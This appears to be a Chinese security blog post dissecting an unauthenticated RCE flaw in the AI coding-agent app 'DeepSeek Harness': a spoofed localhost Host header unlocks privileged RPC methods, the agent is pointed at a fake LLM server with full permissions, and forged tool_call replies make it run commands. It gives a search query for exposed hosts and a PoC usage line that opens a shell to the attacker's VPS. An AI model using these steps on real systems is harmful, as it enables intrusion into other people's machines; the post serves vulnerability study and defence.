DeepSeek Harness 命令执行漏洞分析：Agent Tool Calling 与 AI 供应链安全思考

Deepseek Harness RCE漏洞——agent命令执行思路学习

小记

今天来分析一下前段时间有争议的一个漏洞。开始是说奇安信将该漏洞评级为 9.8 分 “极危”

后来也有很多人说这就是一个配置错误导致的漏洞，根本不算漏洞

今天我们不管这些，只是想借这个漏洞来学习一下agent的命令执行的一种思路。也算是对AI供应链安全的一种实践（特别是喜欢用各种中转站的师傅来说也算一种启发吧），而且公网上我找到接近100个目标可以直接利用，大家也可以多注意一下自己是否存在问题

免责声明

本文所述漏洞（QVD-2026-57410）的POC及EXP已在互联网公开。本文内容仅供安全研究与防御学习之用，严禁用于任何非法入侵、未授权测试或恶意攻击行为。 读者须严格遵守所在地法律法规，对自身行为承担全部法律责任。作者及发布平台不承担任何因滥用本文内容所导致的法律后果。

漏洞描述

DeepSeek Harness 是深度求索推出的 AI 编程助手桌面端应用，提供代码生成、调试、问答等功能。该应用的高权限 RPC 接口通过 Host 头校验限制访问来源，攻击者通过伪造 Host 头为 localhost 即可绕过该限制，未授权访问 /api/* 接口，进而可操控 AI Agent 执行任意命令。

也就是可以host头伪造访问一些高危的特权RPC方法（Remote Procedure Call，远程过程调用），就是用于管理和控制的高权限接口。

导致可以修改dsh配置，例如api-key，LLM供应商等。

通过伪造成LLM供应商，发过去虚假的LLM字段（prompt，tool_call等）造成命令执行的效果。

影响版本

漏洞复现

fofaQuery：```
body="__DSH_BOOT__"
```

EXP地址：

github.com

GitHub - ChaoMixian/dsh2shell: Unauthenticated RCE PoC for exposed DeepSeek...

Unauthenticated RCE PoC for exposed DeepSeek Harness (dsh) web instances.

效果：

用法：```
python3 dsh2shell.py -t "<目标地址>" --shell --lhost <vps的ip> --
shell-port 8881

本文源代码：[[email protected]](https://feedbbs.com/cdn-cgi/l/email-protection)

接口鉴权绕过

漏洞代码在：`deepseek\-harness\packages\client\connection\src\api-request-trust.ts`

![图片](https://cdn3.ldstatic.com/original/4X/8/3/d/83d4690c3da48c4658564821d4a2ef382edc1756.png)

![图片](https://cdn3.ldstatic.com/optimized/4X/7/8/b/78bc03f87f7d9992638512b3c7ed10dd4216c0ce_2_690x204.jpeg)

就是只检查Host头是不是本地回环地址。

在`deepseek-harness\packages\client\connection\src\index.ts`中我们能看到哪些特权方法依靠这个来鉴权的

vscode全局搜索 **PRIVILEGED_METHODS** 即可：

![图片](https://cdn3.ldstatic.com/original/4X/1/0/e/10ecb1843ce4c87fe5bf668967208308ff2296ea.png)

也就是说这些接口都可以用host头伪造绕过。例如：

![图片](https://cdn3.ldstatic.com/optimized/4X/b/f/a/bfab71e3860ae02afead82835092a0cc7484198a_2_690x325.png)

![图片](https://cdn3.ldstatic.com/optimized/4X/a/4/6/a46357e967e090080c45f830f00de7388b107cd3_2_690x277.jpeg)

绕过成功了

RCE

我们执行脚本，抓下来包

就直接交给ai分析了，安装一个wireshark的mcp。

![图片](https://cdn3.ldstatic.com/optimized/4X/1/9/8/1982ce8e870de5ffa908c5520b8923f912781ae8_2_690x477.jpeg)

整个的流程大致就是：

修改配置为我们的假LLM服务 → 权限设为**danger-full-access**（不需要确认） → 发请求让目标向我们的vps发送LLM请求 → vps回复目标tool_call请求（相当于说你这个需求需要调用bash工具执行命令）–>目标执行后发送给我们的VPS（相当于说我命令执行完了，根据结果继续回答我的问题吧）

就这样我们拿到了命令执行结果。

![图片](https://cdn3.ldstatic.com/original/4X/f/e/2/fe2fe25eb226909a4dcbfce758a44886e3e2dc2e.png)

这是执行脚本时抓的包，看到框起来的3个就是目标向我们的服务器发送LLM请求，经常用agent的对这个接口应该不陌生

![图片](https://cdn3.ldstatic.com/original/4X/e/d/c/edcf59beaf61786c511a5d026b8ae45cee77c5cd.png)

追踪一下http流，可以清楚的看到，目标向我们发送了完整的LLM请求，包括system_prompt、user_prompt、function等。

我们构造模型响应，在其中返回针对目标 Agent 已注册 Tool 的 `tool_call`。Agent 解析模型输出后，会按照自身的 Tool Calling 机制调用对应工具，从而触发本地命令执行。

最后通过`/api/session.history`历史记录中读到结果

![图片](https://cdn3.ldstatic.com/original/4X/a/b/f/abf8d8504e9e9da0844cabcedc5843cc74373ae1.png)

![图片](https://cdn3.ldstatic.com/original/4X/d/d/2/dd29befa83f3ef4ec5880a87101bbc51492c13f1.png)

总结

这个漏洞其实确实没有这么恐怖，因为官方是不允许绑定0.0.0.0的，默认只能127.0.0.1回环地址，并且会提示存在安全风险。但是依然是可以通过修改配置文件来绕过的。

但是我觉得可以作为AI供应链安全的一种实践，是对大模型及agent快速发展的是时代的一种思考，在供应链的一个环节出现了问题就能导致这么严重的后果。

这也让我想到一个比较值得关注的问题：当 Agent 将外部 LLM 服务作为“可信决策源”时，LLM 服务本身实际上也成为了 Agent 安全边界的一部分。如果一个 Agent 被授予了无需人工确认的高权限 Tool Calling 能力，而其上游模型服务又处于攻击者可控制、可篡改或者不可信的环境中，那么模型返回的内容就可能从普通的“文本”变成影响本地程序执行的控制指令。

其中最最常见就是ai中转站，但这也是没办法的事情，随着模型能力提升，价格也逐渐提高，加上国外模型的限制，我们普通人想用高质量，相对便宜的AI，最好的方式就是选择中转站。但是这其中的信任问题我们无法决定。只能说尽量选择使用人数更多的吧，最重要的还是我们自身要做好安全防护，agent的权限控制和沙箱机制还是很重要的。